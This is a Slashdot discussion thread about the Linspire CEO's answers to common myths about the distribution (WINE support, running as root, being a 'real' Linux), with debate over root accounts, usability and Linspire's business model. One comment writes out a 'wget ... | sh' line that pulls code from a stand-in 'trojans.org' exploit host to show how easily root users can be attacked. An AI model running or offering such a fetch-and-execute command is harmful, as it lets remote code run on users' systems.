Linspire CEO dispels Linspire Linux Myths 278
An anonymous reader writes "Chances are that you think Linspire lets you run Windows applications, that you have to run it as root, and that it's really not quite a proper Linux. Wrong, wrong, and wrong. At LinuxWorld in Boston this week, CEO Kevin Carmony explained what Linspire Linux is, and isn't all about. Carmony said that people are still getting these things wrong. Yes, in the beginning, Linspire had the goal of letting Linux users run Windows applications with WINE, but it dropped that theme years ago. As for requiring you to run as root, that was, Carmony said, only the case with an early alpha release that was never put in the public's hands. As for not being a real Linux, that's nonsense, too."
Linspire does actually run as root... (Score:5, Informative)
Re:Linspire does actually run as root... (Score:3, Interesting)
Looks like a good opportunity for an Ambidextrous Linux/Windows Virus [slashdot.org]
But who ever installs Linspire? Doesn't it come installed from the shop?
Re:Linspire does actually run as root... (Score:5, Informative)
With regards to viruses, you'd have to drop to a terminal, chmod u+x a downloaded file, and ./run it. Does the average Linspire user know what that means? No.
Re:Linspire does actually run as root... (Score:2)
wget http://trojans.org/my/favorite/exploit [trojans.org] | sh
No chmod or download necessary.
Its retardedly easy to hack systems where the user has root permissions. Even without root access this sort of attack could delete all their personal data.
Re:Linspire does actually run as root... (Score:4, Informative)
Re:Linspire does actually run as root... (Score:2)
Re:Linspire does actually run as root... (Score:2)
As far as the general case virus, as long as the thing destroys all the user's personal files, they aren't gonna care that the thing didn't get priviledged access to low level ports or that it
Re:Linspire does actually run as root... (Score:2)
They really should work out a system like Apple is using, where the first user account is automatically in the wheel group and can sudo, but is otherwise a normal user account, with
Re:Linspire does actually run as root... (Score:3, Informative)
"They really should work out a system like Apple is using, where the first user account is automatically in the wheel group and can sudo, but is otherwise a normal user account, with the root account disabled entirely."
Several Linux distributions are set up that way, including Ubuntu and Mandriva (unless Mandriva has changed that in the last couple of years). But not Linspire, apparently. It would be a better idea for a distro that bases its marketing appeal on user-friendliness, wouldn't it?
Re:Linspire does actually run as root... (Score:2)
I remember, way back when I was first trying Linux, I made the mistake of trying to 'startx' while logged in as root. It absolutely refused to run that way, forcing me to learn how to make a user account and run it properly. S
Re:Linspire does actually run as root... (Score:2)
not that it matters, really (Score:3, Insightful)
I'll be generous, and say it can't change $PATH or define an alias for su or sudo.
What is protected? Oh, the OS itself. I got that from a CD-ROM. I don't even need a backup for that data. Heck, if it gets trashed, I'll use the opportunity to upgrade my OS.
We don't have real security until users get th
Re:not that it matters, really (Score:2)
I do use a non-root account, but only because it's the standard way to work on a Unix system, which was designed from day one to be networked and multi-user capable. But whatever I do, my personal files are vulnerable, so... uh, why is it so dangerous to be running as root on a home
Re:not that it matters, really (Score:3, Insightful)
Re:not that it matters, really (Score:3, Insightful)
There's a lot more danger to a virus than losing your personal data. There's other users of the same machine, and even for single-user machines, there's forward going infection, and danger to other netizens.
Get a rootkit in place, and you might be unwittingly givin
Linspire doesn't equal linux? (Score:5, Insightful)
Re:Linspire doesn't equal linux? (Score:2)
OS-Nazi-speak for "trying to make a buck."
Re:Linspire doesn't equal linux? (Score:2)
where questionable politics = retail-boxed and OEM Linux that can play media files without "stealing" a codec from Windows.
Re:Linspire doesn't equal linux? (Score:5, Insightful)
I've been using Linspire for years; it's my third try at Linux (after Mandrake ver 7 and Lycoris Desktop L/X). It's stable, has lots of eye candy, runs KDE, and install and runs much Linux software with one click, thanks to Click 'N Run, the killer Linspire application. It supports many Internet file formats automatically, and lets me use my computer DVD player without becoming a pirate (per US laws).
I understand the OS is a bit slow loading, and some OS'es may be a bit quicker in spots, but this doesn't bother me much at all. Linspire is MY choice for linux; YMMV.
Really, these religous wars among distributions doesn't do Linux as a whole any good...
Re:Linspire doesn't equal linux? (Score:2)
I've been a Lin(spire)dows Insider since it came out in late 2001. I heard about it when it was just starting up and purchased my first version, .091 in Nov. '01. Shortly after they started offering the Lifetime membership we purchased that as well. I have been an on/off user for the last year or two because it doesn't handle built-in video
Re:Linspire doesn't equal linux? (Score:2)
Few will say they're overextending their rights. Many will say they're taking unfair advantage of clueless users.
Re:Linspire doesn't equal linux? (Score:3, Informative)
Get past "Linux for $$"! Move onto real problems! (Score:3, Insightful)
The quantity of quality zero-cost software is nothing short of astounding, for which I will always be grateful to the hacker community --but at the same time, it creates expectations that form a trap. We are used to leve
What questionable politics? (Score:3, Insightful)
If you're not referring to the fact that they include some proprietary software, please explain. Otherwise just realize that Linux will never* get out of cult status in t
Re:What questionable politics? (Score:2)
I keep thinking this, but then I try to get Windows to do similar stuff and that's harder. In the end, the stuff that matters just works under Linux unless you're doing something stupid like upgrading Slackware 5 to udev by hand without upgrading glibc.
Getting ahead of themselves? (Score:5, Insightful)
Uh... okay (Score:4, Insightful)
Re:Uh... okay (Score:2, Interesting)
Re:Uh... okay (Score:2)
Installing programs is SUPER EASY! (Score:4, Informative)
The part where it REALLY is easy is software installation. They have a system called CNR (Click and Run) which costs $20/year, but it is well worth it. You get a icon on your desktop that you can click, then browse software categories. When you find something you like, just click the install button and voila, CNR downloads it, puts an entry in the Start menus and puts an icon on the desktop. No other distro that I know of does this with such ease.
Re:Uh... okay (Score:2)
Because of the three remaining OEM Linux boxes sold out of Walmart.com, two run Linspire. The chain, it seems, has lost patience with Linux.
Intersting statement from TFA (Score:4, Interesting)
It strikes me as somewhat... odd. Especially coming from a CEO.
Maybe someone can put my vague feeling into words.
Re:Intersting statement from TFA (Score:4, Informative)
Re:Intersting statement from TFA (Score:5, Informative)
Well I think it was more like "If you only sell machines with Windows preinstalled, we'll give you a discount on the purchase price"
So yes in a way I guess it was like saying "you can't sell windows machines anymore", but more "we're gonna make it difficult to".
Re:Intersting statement from TFA (Score:5, Informative)
"Ultimately the assets of the corporation were bought by Palm, Inc. for US$11 million in 2001, at which point the company entered dissolution. The company then initiated litigation against Microsoft for anti-competitive business practices, specifically the prohibition of OEM's to allow dual-boot systems containing both Microsoft and non-Microsoft operating systems. The suit was settled in September 2003 with a US$23.25 million payout to Be, Inc."
Re:Intersting statement from TFA (Score:2)
Re:Intersting statement from TFA (Score:2)
Re:Intersting statement from TFA (Score:2, Insightful)
Re:Intersting statement from TFA (Score:3, Insightful)
Re:Intersting statement from TFA (Score:5, Insightful)
Many people download Linspire
Implies: geeks are using Linspire
Conclusion: who cares, nothing new
Many people buy computers with Linspire on them
Implies: regular, 'non-geek' people are using Linspire
Conclusion: increase in Linux adoption
Re:Intersting statement from TFA (Score:3, Insightful)
Allow me to explain: Michael Roberts does business by drawing attention to himself. He makes various outlandish statements that he simply can't backup. (Remember when Lindows was going to run 90% of the Windows programs?) If you want to make something of his statements, interpret them as nothing more than pandering to the audience.
Re:Intersting statement from TFA (Score:2)
The PC has been sold as a plug and play office machine and home appliance for over twenty-five years. The OEM system install is the norm.
System builders may disagree, but the numbers say that the DIY market is as dead as Heathkit.
Re-tree (Score:5, Insightful)
Could even have a chrooted dir with mount --binds to make a seperate namespace for unpatched/closed source apps.
We really could do with tidying the root. Yes it breaks compatibility with unpatched software, but as it is breaks compatibility with users.
(let the flaming commense)
Re:Re-tree (Score:2, Interesting)
Re:Re-tree (Score:2)
You overestimate how controversial your statement is (or, really, isn't). Many people have said the same thing. You offer nothing original to this discussion.
Re:Re-tree (Score:2)
I didn't say what the commensing flaming would be about, whether it's controversialness or it's unoriginality, but you still stepped up
Re:Re-tree (Score:5, Informative)
Check www.gobolinux.org
Re:Re-tree (Score:2)
Re:Re-tree (Score:4, Insightful)
Re:Re-tree (Score:5, Informative)
Check out MacOS X sometime. If you use the Finder (the GUI), you see your drives (technically, a partition on a drive, but they are displayed with a drive icon). Clicking on the main one shows you four directories: Applications, Library, System, and Users. However, if you bring up the terminal and cd to the root directory, you see all the other Unixy directories, along with the four named above.
Thus, newbies who don't bring up the terminal never see the Unix directories, people who want to can still do it, and software don't have to be patched.
Re:Re-tree (Score:2)
Re:Re-tree (Score:2)
It makes at least as much sense as the Windows structure.
"C:\Documents and Settings\Bob Jones\My Documents" vs. "/home/bob"?
"C:\Windows\System32\etc\hosts" vs "/etc/hosts"?
Seems to me... (Score:5, Insightful)
1) None of the ultra-user-friendly commercial distros have ever really caught on with the Linux enthusiast community.
2) Linspire's business plan has alwasy been based on charging users for installing sofware, something that is free everywhere else in the Linux world.
3) As #2 illustrates, there's always been something sleazy about Linspire. They appeared, making ludicrous claims about Windows compatability, stepping on Microsoft's trademark while prominently advertising rebadged KDE apps as their own, and they've been like that ever since. They may not do anything wrong but it's always
Re:Seems to me... (Score:5, Funny)
So...you're saying it's the used-car saleman of the linux world?
MOD PARENT UP! (Score:2)
-nB
Re:Seems to me... (Score:2)
Microsoft won in the end but I don't believe they had moral ownership of the word "windows". X was there before MS windows.
Re:Seems to me... (Score:5, Informative)
Technically it was a settlement, but it's rare that the plaintiff pays off the defendant in order to get out of a case.
Re:Seems to me... (Score:3, Funny)
I didn't know that. I am off now to make up my own "Windows" trademark. I can feel retirement coming on.
Re:Seems to me... (Score:3, Informative)
Re:Seems to me... (Score:3, Insightful)
Re:Seems to me... (Score:2)
Oh you mean like Mandriva, or Mepis, or Ubuntu....wait, there are pretty popular amoung Linux users to my knowledge, unless they are running supercomputers or bigass servers.
Re:Seems to me... (Score:2)
Linspire charges to make it easy for people who don't know linux to install software. In the business world this is called "Value Adding". They sell ease-of-use and they've never hidden that. They do not prevent you from eskewing their Click-n-Run server for apt-get, which works perfectly fine by all accounts.
In short, either you've never really used Linspire
Re:Seems to me... (Score:2)
"They do not prevent you from eskewing their Click-n-Run server for apt-get, which works perfectly fine by all accounts."
Yes they do. When I was new to Linux I downloaded and installed Lindows. I read a tutorial on how to use apt (it was quite accurate, I know that now) and Lindows immediately broke. It locked up so that I had to reboot and then went into a kernel panic. What was I trying to install? The Gimp. I've read numberous posts from people who had the same experience at Distrowatch, LinuxQuestion
Re:Seems to me... (Score:2)
I'll accept at face value that you may have legitimately tried it and found it lacking, but it's worth noting that you say you were new to Linux, probably a bit pissed that it didn't work as expected, and that impression has carried with you, whether it is justified or not.
I had no trouble with apt on Linspire. I know others who had no trouble as well. More to your point, here's the ExtremeTech review of Linspire where they cracked it
Re:Seems to me... (Score:2)
2. Ubuntu "Just works" - Mandriva "Just works" - SuSE "Just works"
Want to "dick around with libraries?" Choose Fedora, Slackware, or an older Debian derivative.
With 300 distributions it's easy to make the statement you did, but I just pointed you at several which prove the opposite can be true as well.
Re:Seems to me... (Score:2)
"If you have never had a pain in the ass installing software on Linux let alone finding a specific app then I want what your smokin."
1. Apt-get (yast, yum, whatever your distro has)
2. I follow the instructions if it's not in the apt repositories
3. If there are no instructions I don't install it -- seems a bit dodgy
Gnu/Linux for some people (Score:3, Interesting)
Kudos for him at least for being modest and realistic.
Off course i will never use Linspire , Ubuntu plus a extra repos to the sources.list works fine for me.
Secret shake (Score:5, Funny)
Dude, dont even mention the Secret Shake! It's supposed to be a secret.
Re:Secret shake (Score:2)
The sad part is that those people are right. There is a secret shake. People must be able to get it installed on their computer (even if they want to buy a computer with Linux, it is still hard), and must learn which programs do what.
Those are two very big problems, that make people unable to use Linux, because they simply can't touch it or because they feel alien on it and don't know what to do. And the bad news is that those problems won't go away, doesn't matter how well we make the system.
Re:Secret shake (Score:2)
consumer reports... (Score:3, Informative)
Carmony is great (Score:5, Interesting)
Re:Carmony is great (Score:2)
Re:Carmony is great (Score:2, Informative)
Re:Carmony is great (Score:2, Interesting)
Re:Carmony is great (Score:3, Interesting)
Seriously, Carmony really seems like a decent guy.
Yeah, he probably is, just keep him away from the keyboard.
My first job out of college (before I'd graduated, really) was working for a small Point-of-Sale software company that Carmony founded. I spent nearly two years there working on a POS system that he had written. What an unbelievable mess. After I'd been in the code for a couple of weeks, the engineering dept. manager mentioned to me that Carmony had hacked the whole thing in a few months of a
Re:Carmony is great (Score:2)
Still, quite amusing.
Re:Carmony is great (Score:4, Informative)
Re:Carmony is great (Score:2)
The Gimp is nice, unless you've actually bothered trying Photoshop
I used Photoshop for years before trying the GIMP. I prefer the GIMP.
I agree with the rest of your post, though.
Re:Carmony is great (Score:2)
Maybe he's the nice guy and you're the "ass hat"? I've dealt with him a few times and he's always been helpful and very nice. Sleezy? Heh... you're the one making claims like that and posting as an A/C. Real classy.
Re:Carmony is great (Score:2, Interesting)
Long Overdue (Score:4, Insightful)
I wish him all the best. Now I'll get back to trying to my dkpg-reconfigure and apt-get'ing the latest Ruby Gem from unstable while not upgrading my Standord C libs.
Linux Needs DRM to Succeed (Score:2)
Something they don't mention in that article:
"Linspire's chief technical officer, Tom Welch, agreed that his company would definitely consider DRM."
http://news.com.com/DRM%20key%20to%20Linuxs%20cons umer%20success/2100-7344_3-6058790.html?tag=techdi rt [com.com]
MjM
Re:Linux Needs DRM to Succeed (Score:2)
If they mean crippling the user with "features" like "secure video path", I think they'll soon find that implementing controls like that in a Free operating system is very hard. It might be possible with trusted computing, which if I understand correctly gives user programs a way
The reality of Linspire (Score:5, Informative)
I have some experience being the family IT support guy and got so sick of cleaning our viruses, spyware and other junk from my sister's computer that I bough her a computer with Linspire 4 on it thinking that it was the easiest Linux for her to adapt to. In the end, I can't say that it was any better or worse than any other distro. The Click-N-Run concept is a good one but it is was very poorly executed. It certainly *did* encourage users to run as root and was a PITA to set up as a multi-user system.
However, when things went wrong (as they do with any OS/Distro/computerized thing), I found that Linspire did things differently enough that it was very difficult to troubleshoot the problem, find help online and you ended up fighting with a system that tried to second guess you with automated scripts
In the end I switched her to another distro (Ubuntu) and now have just as many problems but I don't have to pay a subscription fee and, if I don't know the answer myself, I can find answers online extremely quickly since it doesn't deviate too far from upstream.
So all the power to Linspire in achieving that "easy enough for a novice to use" status but since we're not there yet, I would stick with a more maintainable distro like Ubuntu or Fedora Core.
I don't understand... (Score:2)
Now, just like any parent, I would love to believe that my wife and I had so superior of genes that our offspring is simply genetically superior by a far margin than the rest of the population. We would also love to believe that our parenting skills are so much better than everyone elses that any child in our care is destined to be a genius. Unfortunatly, we also understand
Re:I don't understand... (Score:3, Insightful)
1) scope of usage:
If your 2 yr old is writing letters, emailing, printing, transferring pictures from their camera, burning music CDs, balancing their bank account, tracking their stocks, etc. then I will be impressed by your superior genes. However, many people have no problems doing the simple things like finding a game and playing it. Yet with complexity comes difficulty.
2) familiarity
If someone has learned a particular way of do
Re:I don't understand... (Score:2)
2)familiarity: I would put this in the 'retarded' category. If you can't associate "Start"
Re:The reality of Linspire (Score:2)
While problems occur more rarely due to Apple's narrrow variety of hardware/software vs. higher stability trade-off, when problems do occur, or when you want to do something outside of Apple's scope of applications, *no one* can help you.
So while Apple's method may be good for many people you have to realize that you are sacrificing something (choice) to get something (stability).
Most of the problems that I have e
Re:The reality of Linspire (Score:2)
I have to applaud for trying this on your sister. I don't think you mentioned an age, but I presume she's not geriatric. I would cringe to put anyone young on Linux. The tears when they realize they can't download iTunes or AOL Explorer! *shudder*
you can help yourself. (Score:2)
most of whats in there is same stuff youll find in any linux distro (or typical freebsd system) cups, samba, apache, mysql, lots of scripting languages, gdb, tcpdump etc. even vim and emacs. ipfw (the firewall) is right out of freebsd and so far it works the same too, but i havent done much with it on osx.
install fink or darwinports and youll not touch t
good stuff (Score:4, Insightful)
Funny how things change (Score:4, Informative)
It was only a short time ago that Michael Robertson, CEO of Linspire [slashdot.org] said "I defy anybody to tell me why is it more secure to not run as root. Nobody really has a good answer. They say 'oh, yeah, it is!', but it really isn't."
Installed it for the wife... (Score:2, Interesting)
Linspire (Score:2)
I switched distros. Linspire, while based on Debian, disables the apt-get and rpm tools. I found a way to activate them, and install a gcc compiler to compile programs etc. Only I foun
Running as Root (Score:5, Interesting)
What Linspire does is during the install it has you first set up your Admin Password (root) and THEN takes you to a screen where you can add users, right during the install's install Wizard.
Kevin Carmony
CEO & President, Linspire, Inc.
Re:Running as Root (Score:2)
For the record... (Score:5, Interesting)
Re:Isn't it obvious ? (Score:3, Informative)
Go to http://www.linspire.com/lindows_products_license.p hp#ope [linspire.com], and scroll down to "Open Source Support, Projects & Initiatives", dumbass.
It's brain-dead morons like this guy spreading bald-faced lies that makes it hard for any commercial linux distribution to succeed...
Re:Braised Lamb Shanks with Herbs (Score:2, Funny)